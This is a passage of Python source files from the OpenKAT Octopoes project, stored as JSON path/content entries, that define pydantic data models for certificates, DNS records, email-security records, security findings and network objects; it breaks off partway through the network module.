  {
    "path": "octopoes/octopoes/models/ooi/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/octopoes/models/ooi/certificate.py",
    "content": "from __future__ import annotations\n\nfrom datetime import datetime, timedelta\nfrom enum import Enum\nfrom typing import Literal\n\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddress\nfrom octopoes.models.persistence import ReferenceField\n\n\nclass AlgorithmType(Enum):\n    \"\"\"Represents the Algorithm Type from TLS certificates.\n\n    Possible values\n    ---------------\n    RSA, ECC\n    \"\"\"\n\n    RSA = \"RSA\"\n    ECC = \"ECC\"\n\n\nclass X509Certificate(OOI):\n    \"\"\"Represents X509 certificates.\n\n    Possible values\n    ---------------\n    Subject, issuer, valid from, valid intil, PK Algorithm, PK size, PK number, serial number,\n    expires in\n    \"\"\"\n\n    object_type: Literal[\"X509Certificate\"] = \"X509Certificate\"\n\n    subject: str | None = None\n    issuer: str | None = None\n    valid_from: str\n    valid_until: str\n    pk_algorithm: str | None = None\n    pk_size: int | None = None\n    pk_number: str | None = None\n    signed_by: Reference | None = ReferenceField(\n        \"X509Certificate\", max_issue_scan_level=1, max_inherit_scan_level=0, default=None\n    )\n    serial_number: str\n    expires_in: timedelta | None = None\n\n    _natural_key_attrs = [\"issuer\", \"serial_number\"]\n\n    @property\n    def expired(self):\n        return datetime.now() > datetime.fromisoformat(self.valid_until)\n\n    _reverse_relation_names = {\"signed_by\": \"signed_certificates\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return f\"{reference.tokenized.issuer} ({reference.tokenized.serial_number})\"\n\n\nclass SubjectAlternativeName(OOI):\n    \"\"\"Represents alternative subject names in X509 Certificate objects.\"\"\"\n\n    certificate: Reference = ReferenceField(X509Certificate)\n\n    _natural_key_attrs = [\"certificate\"]\n\n\nclass SubjectAlternativeNameHostname(SubjectAlternativeName):\n    \"\"\"Represents subject alternative names for hostnames in X509 Certificate objects.\n\n    Possible values\n    ---------------\n    hostnames\n\n    Example value\n    -------------\n    mispo.es\n    \"\"\"\n\n    object_type: Literal[\"SubjectAlternativeNameHostname\"] = \"SubjectAlternativeNameHostname\"\n    hostname: Reference = ReferenceField(Hostname, max_issue_scan_level=1, max_inherit_scan_level=0)\n\n    _natural_key_attrs = [\"certificate\", \"hostname\"]\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return reference.tokenized.hostname.name\n\n\nclass SubjectAlternativeNameIP(SubjectAlternativeName):\n    \"\"\"Represents subject alternative names for IPs in X509 Certificate objects.\n\n    Possible values\n    ---------------\n    IPv4 or IPv6 address\n\n    Example value\n    -------------\n    192.168.1.1\n    \"\"\"\n\n    object_type: Literal[\"SubjectAlternativeNameIP\"] = \"SubjectAlternativeNameIP\"\n    address: Reference = ReferenceField(IPAddress)\n\n    _natural_key_attrs = [\"certificate\", \"address\"]\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return reference.tokenized.address.address\n\n\nclass SubjectAlternativeNameQualifier(SubjectAlternativeName):\n    \"\"\"Represents subject alternative names qualifier in X509 Certificate objects.\n\n    Possible values\n    ---------------\n    hostnames\n\n    Example value\n    -------------\n    mispo.es\n    \"\"\"\n\n    object_type: Literal[\"SubjectAlternativeNameQualifier\"] = \"SubjectAlternativeNameQualifier\"\n    name: str\n\n    _natural_key_attrs = [\"certificate\", \"name\"]\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return reference.tokenized.name\n\n\nX509Certificate.model_rebuild()\nSubjectAlternativeNameHostname.model_rebuild()\nSubjectAlternativeNameIP.model_rebuild()\nSubjectAlternativeNameQualifier.model_rebuild()\n"
  },
  {
    "path": "octopoes/octopoes/models/ooi/config.py",
    "content": "from typing import Literal\n\nfrom pydantic import JsonValue\n\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.persistence import ReferenceField\n\n\nclass Config(OOI):\n    \"\"\"Represents Config objects used for specifying organisation specific policies.\"\"\"\n\n    object_type: Literal[\"Config\"] = \"Config\"\n\n    ooi: Reference = ReferenceField(OOI)\n    bit_id: str\n    config: dict[str, JsonValue]\n\n    _natural_key_attrs = [\"ooi\", \"bit_id\"]\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        parts = reference.natural_key.split(\"|\")\n        ooi_reference = Reference.from_str(\"|\".join(parts[:-1]))\n        return f\"Config of {parts[-1]} under {ooi_reference}\"\n"
  },
  {
    "path": "octopoes/octopoes/models/ooi/dns/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/octopoes/models/ooi/dns/records.py",
    "content": "import hashlib\nfrom enum import Enum\nfrom typing import Literal\n\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddress, IPAddressV4, IPAddressV6\nfrom octopoes.models.persistence import ReferenceField\n\n\nclass DNSRecord(OOI):\n    \"\"\"Represents the DNS record\"\"\"\n\n    hostname: Reference = ReferenceField(Hostname, max_issue_scan_level=0, max_inherit_scan_level=2)\n    dns_record_type: Literal[\"A\", \"AAAA\", \"CAA\", \"CNAME\", \"MX\", \"NS\", \"PTR\", \"SOA\", \"SRV\", \"TXT\"]\n    value: str\n    ttl: int | None = None  # todo: validation\n\n    _natural_key_attrs = [\"hostname\", \"value\"]\n    _reverse_relation_names = {\"hostname\": \"dns_records\"}\n\n    @classmethod\n    def _get_record_type(cls) -> str:\n        end_index = cls.__name__.index(\"Record\")\n        return cls.__name__[3:end_index]\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        dns_record_type = cls._get_record_type()\n        return f\"{reference.tokenized.hostname.name} {dns_record_type} {reference.tokenized.value}\"\n\n\nclass DNSARecord(DNSRecord):\n    \"\"\"Represents the DNS A record.\n\n    Example value\n    -------------\n    134.209.85.72\n    \"\"\"\n\n    object_type: Literal[\"DNSARecord\"] = \"DNSARecord\"\n    dns_record_type: Literal[\"A\"] = \"A\"\n\n    address: Reference = ReferenceField(IPAddressV4)\n\n    _reverse_relation_names = {\"hostname\": \"dns_a_records\", \"address\": \"dns_a_records\"}\n\n\nclass DNSAAAARecord(DNSRecord):\n    \"\"\"Represents the DNS AAAA record.\n\n    Example value\n    -------------\n    2001:0002:6c::430\n    \"\"\"\n\n    object_type: Literal[\"DNSAAAARecord\"] = \"DNSAAAARecord\"\n    dns_record_type: Literal[\"AAAA\"] = \"AAAA\"\n\n    address: Reference = ReferenceField(IPAddressV6)\n\n    _reverse_relation_names = {\"hostname\": \"dns_aaaa_records\", \"address\": \"dns_aaaa_records\"}\n\n\nclass DNSMXRecord(DNSRecord):\n    \"\"\"Represents the DNS MX record.\"\"\"\n\n    object_type: Literal[\"DNSMXRecord\"] = \"DNSMXRecord\"\n    dns_record_type: Literal[\"MX\"] = \"MX\"\n\n    mail_hostname: Reference | None = ReferenceField(Hostname, default=None, max_inherit_scan_level=1)\n    preference: int | None = None\n\n    _reverse_relation_names = {\"hostname\": \"dns_mx_records\", \"mail_hostname\": \"mail_server_of\"}\n\n\nclass DNSTXTRecord(DNSRecord):\n    \"\"\"Represents the DNS TXT riecord.\n\n    Example value\n    -------------\n    v=DMARC1;p=none;rua=dmarc@mispo.es;ruf=dmarc@mispo.es\n    \"\"\"\n\n    object_type: Literal[\"DNSTXTRecord\"] = \"DNSTXTRecord\"\n    dns_record_type: Literal[\"TXT\"] = \"TXT\"\n\n    @property\n    def natural_key(self) -> str:\n        sha = hashlib.sha1(self.value.encode(\"UTF-8\")).hexdigest()\n        key = super().natural_key\n        return key.replace(self.value, sha)\n\n    _reverse_relation_names = {\"hostname\": \"dns_txt_records\"}\n\n\nclass DNSNSRecord(DNSRecord):\n    \"\"\"Represents the DNS NS record.\n\n    Example value\n    -------------\n    ns0.transip.net\n    \"\"\"\n\n    object_type: Literal[\"DNSNSRecord\"] = \"DNSNSRecord\"\n    dns_record_type: Literal[\"NS\"] = \"NS\"\n\n    name_server_hostname: Reference = ReferenceField(Hostname, max_issue_scan_level=1, max_inherit_scan_level=0)\n\n    _reverse_relation_names = {\"hostname\": \"dns_ns_records\", \"name_server_hostname\": \"ns_record_targets\"}\n\n\nclass DNSCNAMERecord(DNSRecord):\n    \"\"\"Represents the DNS CNAME record.\"\"\"\n\n    object_type: Literal[\"DNSCNAMERecord\"] = \"DNSCNAMERecord\"\n    dns_record_type: Literal[\"CNAME\"] = \"CNAME\"\n\n    target_hostname: Reference = ReferenceField(Hostname)\n\n    _reverse_relation_names = {\"hostname\": \"dns_cname_records\", \"target_hostname\": \"cname_target_of\"}\n\n\nclass DNSSOARecord(DNSRecord):\n    \"\"\"Represents the DNS SOA record.\n\n    Example value\n    -------------\n    ns1.domaindiscount24.net. tech.key-systems.net. 2023012324 10800 3600 604800 3600\n    \"\"\"\n\n    object_type: Literal[\"DNSSOARecord\"] = \"DNSSOARecord\"\n    dns_record_type: Literal[\"SOA\"] = \"SOA\"\n\n    soa_hostname: Reference = ReferenceField(Hostname)\n    serial: int | None = None\n    retry: int | None = None\n    refresh: int | None = None\n    expire: int | None = None\n    minimum: int | None = None\n\n    _reverse_relation_names = {\"hostname\": \"dns_soa_records\", \"soa_hostname\": \"subject_of_dns_soa_records\"}\n\n    _natural_key_attrs = [\"hostname\", \"soa_hostname\"]\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        dns_record_type = cls._get_record_type()\n        return f\"{reference.tokenized.hostname.name} {dns_record_type} {reference.tokenized.soa_hostname.name}\"\n\n\nclass NXDOMAIN(OOI):\n    \"\"\"Represents non-existing domains.\"\"\"\n\n    object_type: Literal[\"NXDOMAIN\"] = \"NXDOMAIN\"\n\n    hostname: Reference = ReferenceField(Hostname)\n\n    _natural_key_attrs = [\"hostname\"]\n    _reverse_relation_names = {\"hostname\": \"nxdomain_hostname\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return f\"NXDOMAIN response on {reference.tokenized.hostname.name}\"\n\n\nclass DNSPTRRecord(DNSRecord):\n    \"\"\"Represents DNS PTR records.\"\"\"\n\n    object_type: Literal[\"DNSPTRRecord\"] = \"DNSPTRRecord\"\n    dns_record_type: Literal[\"PTR\"] = \"PTR\"\n    address: Reference | None = ReferenceField(IPAddress)\n\n    _natural_key_attrs = [\"hostname\", \"address\"]\n\n    _reverse_relation_names = {\"hostname\": \"dns_ptr_records\", \"address\": \"ptr_record_ip\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return f\"{reference.tokenized.address.address} -> {reference.tokenized.hostname.name}\"\n\n\nclass CAATAGS(Enum):\n    \"\"\"Represents CAA tags.\n\n    Possible values\n    ---------------\n    issue, issuewild, iodef, contactemail, contactphone, issuevmc, issuemail\n    \"\"\"\n\n    ISSUE = \"issue\"\n    ISSUEWILD = \"issuewild\"\n    IODEF = \"iodef\"\n    CONTACTEMAIL = \"contactemail\"\n    CONACTPHONE = \"contactphone\"\n    ISSUEVMC = \"issuevmc\"\n    ISSUEMAIL = \"issuemail\"\n\n    def __str__(self) -> str:\n        return self.value\n\n\nclass DNSCAARecord(DNSRecord):\n    \"\"\"Represents the DNS CAA record.\n\n    Example value\n    -------------\n    \"letsencrypt.org\"\n    \"\"\"\n\n    object_type: Literal[\"DNSCAARecord\"] = \"DNSCAARecord\"\n    dns_record_type: Literal[\"CAA\"] = \"CAA\"\n\n    # https://datatracker.ietf.org/doc/html/rfc8659#name-canonical-presentation-form\n    # An unsigned integer between 0 and 255.\n    flags: int | None = None\n\n    # A non-zero-length sequence of ASCII letters and numbers in lowercase.\n    tag: CAATAGS\n\n    # The Value field, expressed as either (1) a contiguous set of characters\n    # without interior spaces or (2) a quoted string.\n    value: str\n    _natural_key_attrs = [\"hostname\", \"flags\", \"tag\", \"value\"]\n"
  },
  {
    "path": "octopoes/octopoes/models/ooi/dns/zone.py",
    "content": "from __future__ import annotations\n\nimport string\nfrom typing import Annotated, Literal\n\nfrom pydantic import StringConstraints, field_validator\n\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.ooi.network import IPAddress, Network\nfrom octopoes.models.persistence import ReferenceField\n\nVALID_HOSTNAME_CHARACTERS = string.ascii_letters + string.digits + \"-.\"\n\n\nclass DNSZone(OOI):\n    \"\"\"Represents the DNS zone.\n\n    Example value\n    -------------\n    mispo.es\n    \"\"\"\n\n    object_type: Literal[\"DNSZone\"] = \"DNSZone\"\n\n    hostname: Reference = ReferenceField(\"Hostname\", max_issue_scan_level=2, max_inherit_scan_level=1)\n    parent: Reference | None = ReferenceField(\"DNSZone\", max_issue_scan_level=0, max_inherit_scan_level=1, default=None)\n\n    _natural_key_attrs = [\"hostname\"]\n\n    _reverse_relation_names = {\"parent\": \"child_dns_zones\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return reference.tokenized.hostname.name\n\n\nclass Hostname(OOI):\n    \"\"\"Represents the Hostname object.\n\n    Example value\n    -------------\n    mispo.es\n    \"\"\"\n\n    object_type: Literal[\"Hostname\"] = \"Hostname\"\n\n    network: Reference = ReferenceField(Network)\n    name: Annotated[str, StringConstraints(to_lower=True)]\n\n    dns_zone: Reference | None = ReferenceField(DNSZone, max_issue_scan_level=1, max_inherit_scan_level=2, default=None)\n\n    registered_domain: Reference | None = ReferenceField(\n        \"Hostname\", max_issue_scan_level=1, max_inherit_scan_level=2, default=None\n    )\n\n    _natural_key_attrs = [\"network\", \"name\"]\n\n    _reverse_relation_names = {\"network\": \"hostnames\", \"dns_zone\": \"hostnames\", \"registered_domain\": \"subdomains\"}\n\n    @field_validator(\"name\")\n    @classmethod\n    def hostname_valid(cls, v: str) -> str:\n        v = v.encode(\"idna\").decode()\n\n        for c in v:\n            if c not in VALID_HOSTNAME_CHARACTERS:\n                raise ValueError(f\"Invalid hostname character: {c}\")\n\n        if v.endswith(\"-\"):\n            raise ValueError(\"Hostname must not end with a hyphen\")\n\n        return v\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return reference.tokenized.name\n\n\nclass ResolvedHostname(OOI):\n    \"\"\"Represents resolved hostnames.\n\n    Example value\n    -------------\n    ns1.domaindiscount24.net -> 193.227.117.34\n    \"\"\"\n\n    object_type: Literal[\"ResolvedHostname\"] = \"ResolvedHostname\"\n\n    hostname: Reference = ReferenceField(Hostname, max_issue_scan_level=0, max_inherit_scan_level=4)\n    address: Reference = ReferenceField(IPAddress, max_issue_scan_level=4, max_inherit_scan_level=0)\n\n    _natural_key_attrs = [\"hostname\", \"address\"]\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return f\"{reference.tokenized.hostname.name} -> {reference.tokenized.address.address}\"\n"
  },
  {
    "path": "octopoes/octopoes/models/ooi/email_security.py",
    "content": "import hashlib\nfrom enum import Enum\nfrom typing import Literal\n\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.ooi.dns.records import DNSTXTRecord\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import IPAddress, NetBlock\nfrom octopoes.models.persistence import ReferenceField\n\n\nclass DNSSPFRecord(OOI):\n    \"\"\"Represents the DNS SPF record.\n\n    Example value\n    -------------\n    v=spf1 a mx ~all\n    \"\"\"\n\n    object_type: Literal[\"DNSSPFRecord\"] = \"DNSSPFRecord\"\n    value: str\n    ttl: int | None = None\n    all: str | None = None\n    exp: str | None = None\n    dns_txt_record: Reference = ReferenceField(DNSTXTRecord, max_inherit_scan_level=1)\n\n    _natural_key_attrs = [\"dns_txt_record\", \"value\"]\n    _reverse_relation_names = {\"dns_txt_record\": \"dns_spf_record\"}\n\n    @property\n    def natural_key(self) -> str:\n        sha = hashlib.sha1(self.value.encode(\"UTF-8\")).hexdigest()\n        key = super().natural_key\n        return key.replace(self.value, sha)\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return f\"SPF Record of {reference.tokenized.dns_txt_record.hostname.name}\"\n\n\nclass MechanismQualifier(Enum):\n    \"\"\"Represents the SPF Mechanism Qualifiers: allow' fail, softfail or neutral\n    to specify how e-mail should be handled.\n\n    Specification: http://www.open-spf.org/SPF_Record_Syntax/#0.1\n\n    Possible values\n    ---------------\n    +, -, ~, ?\n\n    Example value\n    -------------\n    +\n    \"\"\"\n\n    ALLOW = \"+\"\n    FAIL = \"-\"\n    SOFTFAIL = \"~\"\n    NEUTRAL = \"?\"\n\n    # the string representation maps to a human readable format of the qualifier\n    def __str__(self):\n        return {\n            MechanismQualifier.ALLOW: \"Allow\",\n            MechanismQualifier.FAIL: \"Fail\",\n            MechanismQualifier.SOFTFAIL: \"Softfail\",\n            MechanismQualifier.NEUTRAL: \"Neutral\",\n        }[self]\n\n\nclass DNSSPFMechanism(OOI):\n    \"\"\"Represents the DNS SPF Mechanism\n\n    Example value\n    -------------\n    +a\n    \"\"\"\n\n    spf_record: Reference = ReferenceField(DNSSPFRecord, max_inherit_scan_level=1)\n    mechanism: str\n\n\nclass DNSSPFMechanismIP(DNSSPFMechanism):\n    \"\"\"Represents the DNS SPF Mechanism for IPs.\n\n    Possible values\n    ---------------\n    +ip4, +ip6\n\n    Example value\n    -------------\n    +ip4\n    \"\"\"\n\n    object_type: Literal[\"DNSSPFMechanismIP\"] = \"DNSSPFMechanismIP\"\n\n    ip: Reference = ReferenceField(IPAddress)\n    qualifier: MechanismQualifier = MechanismQualifier.ALLOW\n\n    _natural_key_attrs = [\"spf_record\", \"mechanism\", \"ip\", \"qualifier\"]\n    _information_value = [\"mechanism\", \"qualifier\"]\n    _reverse_relation_names = {\"spf_record\": \"spf_ip_mechanisms\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return (\n            f\"SPF {reference.tokenized.qualifier}{reference.tokenized.mechanism}:{reference.tokenized.ip.address}\"\n            f\" for {reference.tokenized.spf_record.dns_txt_record.hostname.name}\"\n        )\n\n\nclass DNSSPFMechanismHostname(DNSSPFMechanism):\n    \"\"\"Represents the DNS SPF Mechanism for Hostnames.\n\n    Example value:\n    --------------\n    +a:mispo.es\n    \"\"\"\n\n    object_type: Literal[\"DNSSPFMechanismHostname\"] = \"DNSSPFMechanismHostname\"\n\n    hostname: Reference = ReferenceField(Hostname)\n    qualifier: MechanismQualifier = MechanismQualifier.ALLOW\n\n    _natural_key_attrs = [\"spf_record\", \"mechanism\", \"hostname\", \"qualifier\"]\n    _information_value = [\"mechanism\", \"qualifier\"]\n    _reverse_relation_names = {\"spf_record\": \"spf_hostname_mechanisms\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return (\n            f\"SPF {reference.tokenized.qualifier}{reference.tokenized.mechanism}:{reference.tokenized.hostname.name}\"\n            f\" for {reference.tokenized.spf_record.dns_txt_record.hostname.name}\"\n        )\n\n\nclass DNSSPFMechanismNetBlock(DNSSPFMechanism):\n    \"\"\"Represents the DNS SPF Mechanism for net blocks.\n\n    Example value:\n    --------------\n    +ip4:192.168.0.0/24\n    \"\"\"\n\n    object_type: Literal[\"DNSSPFMechanismNetBlock\"] = \"DNSSPFMechanismNetBlock\"\n\n    netblock: Reference = ReferenceField(NetBlock)\n    qualifier: MechanismQualifier = MechanismQualifier.ALLOW\n\n    _natural_key_attrs = [\"spf_record\", \"mechanism\", \"netblock\", \"qualifier\"]\n    _information_value = [\"mechanism\", \"qualifier\"]\n    _reverse_relation_names = {\"spf_record\": \"spf_netblock_mechanisms\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return (\n            f\"SPF {reference.tokenized.qualifier}{reference.tokenized.mechanism}:\"\n            f\"{reference.tokenized.netblock.start_ip}/{reference.tokenized.netblock.mask}\"\n            f\" for {reference.tokenized.spf_record.dns_txt_record.hostname.name}\"\n        )\n\n\nclass DMARCTXTRecord(OOI):\n    \"\"\"Represents the DMARC TXT record for a hostname.\n\n    Example value:\n    --------------\n    v=DMARC1;p=none;rua=dmarc@mispo.es;ruf=dmarc@mispo.es\n    \"\"\"\n\n    object_type: Literal[\"DMARCTXTRecord\"] = \"DMARCTXTRecord\"\n    value: str\n    ttl: int | None\n    hostname: Reference = ReferenceField(Hostname)\n\n    _natural_key_attrs = [\"value\", \"hostname\"]\n    _reverse_relation_names = {\"hostname\": \"dmarc_txt_record\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return f\"DMARC TXT Record of {reference.tokenized.hostname.name}\"\n\n\nclass DKIMExists(OOI):\n    \"\"\"Represents whether a DKIM can exist by checking the DNS response of _domainkey.hostname.\"\"\"\n\n    object_type: Literal[\"DKIMExists\"] = \"DKIMExists\"\n    hostname: Reference = ReferenceField(Hostname)\n\n    _natural_key_attrs = [\"hostname\"]\n    _reverse_relation_names = {\"hostname\": \"dkim_exists\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return f\"DKIM Exists on {reference.tokenized.hostname.name}\"\n\n\nclass DKIMSelector(OOI):\n    \"\"\"Represents the DKIM Selector object if present.\n\n    Object is currently unused.\n    \"\"\"\n\n    object_type: Literal[\"DKIMSelector\"] = \"DKIMSelector\"\n    selector: str\n    hostname: Reference = ReferenceField(Hostname)\n\n    _natural_key_attrs = [\"selector\", \"hostname\"]\n    _reverse_relation_names = {\"hostname\": \"dkim_selector\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return f\"{reference.tokenized.selector} DKIM selector of {reference.tokenized.hostname.name}\"\n\n\nclass DKIMKey(OOI):\n    \"\"\"Represents the value of the DKIM key.\"\"\"\n\n    object_type: Literal[\"DKIMKey\"] = \"DKIMKey\"\n    key: str\n    dkim_selector: Reference = ReferenceField(DKIMSelector)\n\n    _natural_key_attrs = [\"key\", \"dkim_selector\"]\n    _reverse_relation_names = {\"dkim_selector\": \"dkim_key\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return (\n            f\"DKIM key of {reference.tokenized.dkim_selector.selector} on \"\n            f\"{reference.tokenized.dkim_selector.hostname.name}\"\n        )\n"
  },
  {
    "path": "octopoes/octopoes/models/ooi/findings.py",
    "content": "from __future__ import annotations\n\nfrom enum import Enum\nfrom functools import total_ordering\nfrom typing import Annotated, Literal\n\nfrom pydantic import AnyUrl, StringConstraints\n\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.persistence import ReferenceField\n\nseverity_order = [\"unknown\", \"pending\", \"recommendation\", \"low\", \"medium\", \"high\", \"critical\"]\n\n\n@total_ordering\nclass RiskLevelSeverity(Enum):\n    \"\"\"Represents the risk level severity of findings\n\n    Possible values\n    ---------------\n    critical, high, medium, low, recommendation, pending, unknown\n\n    Example value\n    -------------\n    high\n    \"\"\"\n\n    CRITICAL = \"critical\"\n    HIGH = \"high\"\n    MEDIUM = \"medium\"\n    LOW = \"low\"\n    RECOMMENDATION = \"recommendation\"\n\n    # pending = KAT still has to run the boefje to determine the risk level\n    PENDING = \"pending\"\n\n    # unknown = the third party has been contacted, but third party has not determined the risk level (yet)\n    UNKNOWN = \"unknown\"\n\n    def __gt__(self, other: RiskLevelSeverity) -> bool:\n        return severity_order.index(self.value) > severity_order.index(other.value)\n\n    def __str__(self) -> str:\n        return self.value\n\n\nclass FindingType(OOI):\n    \"\"\"Represents finding types. #TODO: Update once new structure of findings/finding types is complete.\n\n    Possible values\n    ---------------\n    name, description, source, impact, recommendation, risk_score, risk_severity\n\n    Example value\n    -------------\n    #TODO once new structure is complete.\n    \"\"\"\n\n    id: str\n\n    name: str | None = None\n    description: str | None = None\n    source: AnyUrl | None = None\n    impact: str | None = None\n    recommendation: str | None = None\n\n    risk_score: float | None = None\n    risk_severity: RiskLevelSeverity | None = None\n\n    _natural_key_attrs = [\"id\"]\n    _traversable = False\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return reference.tokenized.id\n\n\nclass ADRFindingType(FindingType):\n    \"\"\"Represents the API Design Rules (ADR) Finding Types\"\"\"\n\n    object_type: Literal[\"ADRFindingType\"] = \"ADRFindingType\"\n\n\nclass CVEFindingType(FindingType):\n    \"\"\"Represents the CVE Finding Types\"\"\"\n\n    object_type: Literal[\"CVEFindingType\"] = \"CVEFindingType\"\n\n    id: Annotated[str, StringConstraints(strip_whitespace=True, to_upper=True)]\n\n\nclass CWEFindingType(FindingType):\n    \"\"\"Represents the CWE Finding Types\"\"\"\n\n    object_type: Literal[\"CWEFindingType\"] = \"CWEFindingType\"\n\n    id: Annotated[str, StringConstraints(strip_whitespace=True, to_upper=True)]\n\n\nclass CAPECFindingType(FindingType):\n    \"\"\"Represents the CAPEC Finding Types\"\"\"\n\n    object_type: Literal[\"CAPECFindingType\"] = \"CAPECFindingType\"\n\n    id: Annotated[str, StringConstraints(strip_whitespace=True, to_upper=True)]\n\n\nclass RetireJSFindingType(FindingType):\n    \"\"\"Represents the RetireJS Finding Types\"\"\"\n\n    object_type: Literal[\"RetireJSFindingType\"] = \"RetireJSFindingType\"\n\n\nclass SnykFindingType(FindingType):\n    \"\"\"Represents the Snyk Finding Types\"\"\"\n\n    object_type: Literal[\"SnykFindingType\"] = \"SnykFindingType\"\n\n    id: Annotated[str, StringConstraints(strip_whitespace=True, to_upper=True)]\n\n\nclass KATFindingType(FindingType):\n    \"\"\"Represents the OpenKAT Finding Types\"\"\"\n\n    object_type: Literal[\"KATFindingType\"] = \"KATFindingType\"\n\n\nclass Finding(OOI):\n    \"\"\"Represents all OpenKAT Findings, including CVE's and CWE's.\n    #TODO Update once new findings/finding types are complete.\"\"\"\n\n    object_type: Literal[\"Finding\"] = \"Finding\"\n\n    finding_type: Reference = ReferenceField(FindingType)\n    ooi: Reference = ReferenceField(OOI)\n    proof: str | None = None\n    description: str | None = None\n    reproduce: str | None = None\n\n    @property\n    def natural_key(self) -> str:\n        return f\"{str(self.ooi)}|{self.finding_type.natural_key}\"\n\n    _reverse_relation_names = {\"ooi\": \"findings\", \"finding_type\": \"instances\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        parts = reference.natural_key.split(\"|\")\n        finding_type = parts.pop()\n        ooi_reference = Reference.from_str(\"|\".join(parts))\n        return f\"{finding_type} @ {ooi_reference.human_readable}\"\n\n\nclass MutedFinding(OOI):\n    \"\"\"Represents muted findings.\n\n    Muted findings can be attached to findings. This will make the findings not show up on the Findings page.\n\n    Possible values\n    ---------------\n    finding, reason\n    \"\"\"\n\n    object_type: Literal[\"MutedFinding\"] = \"MutedFinding\"\n\n    finding: Reference = ReferenceField(Finding)\n    reason: str | None = None\n\n    _natural_key_attrs = [\"finding\"]\n    _reverse_relation_names = {\"finding\": \"mutes\"}\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return f\"Muted {reference.natural_key}\"\n"
  },
  {
    "path": "octopoes/octopoes/models/ooi/geography.py",
    "content": "from typing import Annotated, Literal\n\nfrom pydantic import Field\n\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.persistence import ReferenceField\n\n\nclass GeographicPoint(OOI):\n    \"\"\"Represents Geographic points that can be added to objects.\n\n    Possible value\n    --------------\n    longitude, latitude\n\n    Example value\n    -------------\n    13,37\n    \"\"\"\n\n    object_type: Literal[\"GeographicPoint\"] = \"GeographicPoint\"\n\n    ooi: Reference = ReferenceField(OOI)\n\n    longitude: Annotated[float, Field(strict=True, ge=-180.0, le=180.0)]\n    latitude: Annotated[float, Field(strict=True, ge=-180.0, le=180.0)]\n\n    @property\n    def natural_key(self) -> str:\n        return f\"{str(self.ooi)}|{self.longitude}|{self.latitude}\"\n"
  },
  {
    "path": "octopoes/octopoes/models/ooi/monitoring.py",
    "content": "from typing import Literal\n\nfrom pydantic import JsonValue\n\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.persistence import ReferenceField\n\n\nclass Application(OOI):\n    \"\"\"Represents Application objects.\"\"\"\n\n    object_type: Literal[\"Application\"] = \"Application\"\n    name: str\n\n    _natural_key_attrs = [\"name\"]\n\n\nclass Incident(OOI):\n    \"\"\"Represents Incident objects.\n\n    Can be used to document incidents.\n\n    Possible values\n    ---------------\n    application, event_id, event_type, event_title, severity, meta_data\n    \"\"\"\n\n    object_type: Literal[\"Incident\"] = \"Incident\"\n\n    application: Reference = ReferenceField(Application)\n    event_id: str\n    event_type: str\n    event_title: str\n    severity: str\n    meta_data: dict[str, JsonValue]\n\n    _natural_key_attrs = [\"application\", \"event_id\"]\n"
  },
  {
    "path": "octopoes/octopoes/models/ooi/network.py",
    "content": "from __future__ import annotations\n\nfrom enum import Enum\nfrom ipaddress import IPv4Address, IPv6Address\nfrom typing import Annotated, Literal\n\nfrom pydantic import Field\n\nfrom octopoes.models import OOI, Reference\nfrom octopoes.models.persistence import ReferenceField\n\n\nclass Network(OOI):\n    \"\"\"Represents the Network object.\n\n    Can be used to describe how/where scans took place.\n\n    Example value\n    -------------\n    internet\n    \"\"\"\n\n    object_type: Literal[\"Network\"] = \"Network\"\n\n    name: str\n\n    _natural_key_attrs = [\"name\"]\n    _traversable = False\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return reference.tokenized.name\n\n\nclass IPAddress(OOI):\n    \"\"\"Represents IPv4 or IPv6 address objects.\"\"\"\n\n    address: IPv4Address | IPv6Address\n    network: Reference = ReferenceField(Network)\n\n    _natural_key_attrs = [\"network\", \"address\"]\n    _information_value = [\"address\"]\n\n    @classmethod\n    def format_reference_human_readable(cls, reference: Reference) -> str:\n        return reference.tokenized.address\n\n\nclass IPAddressV4(IPAddress):\n    \"\"\"Represents IPv4 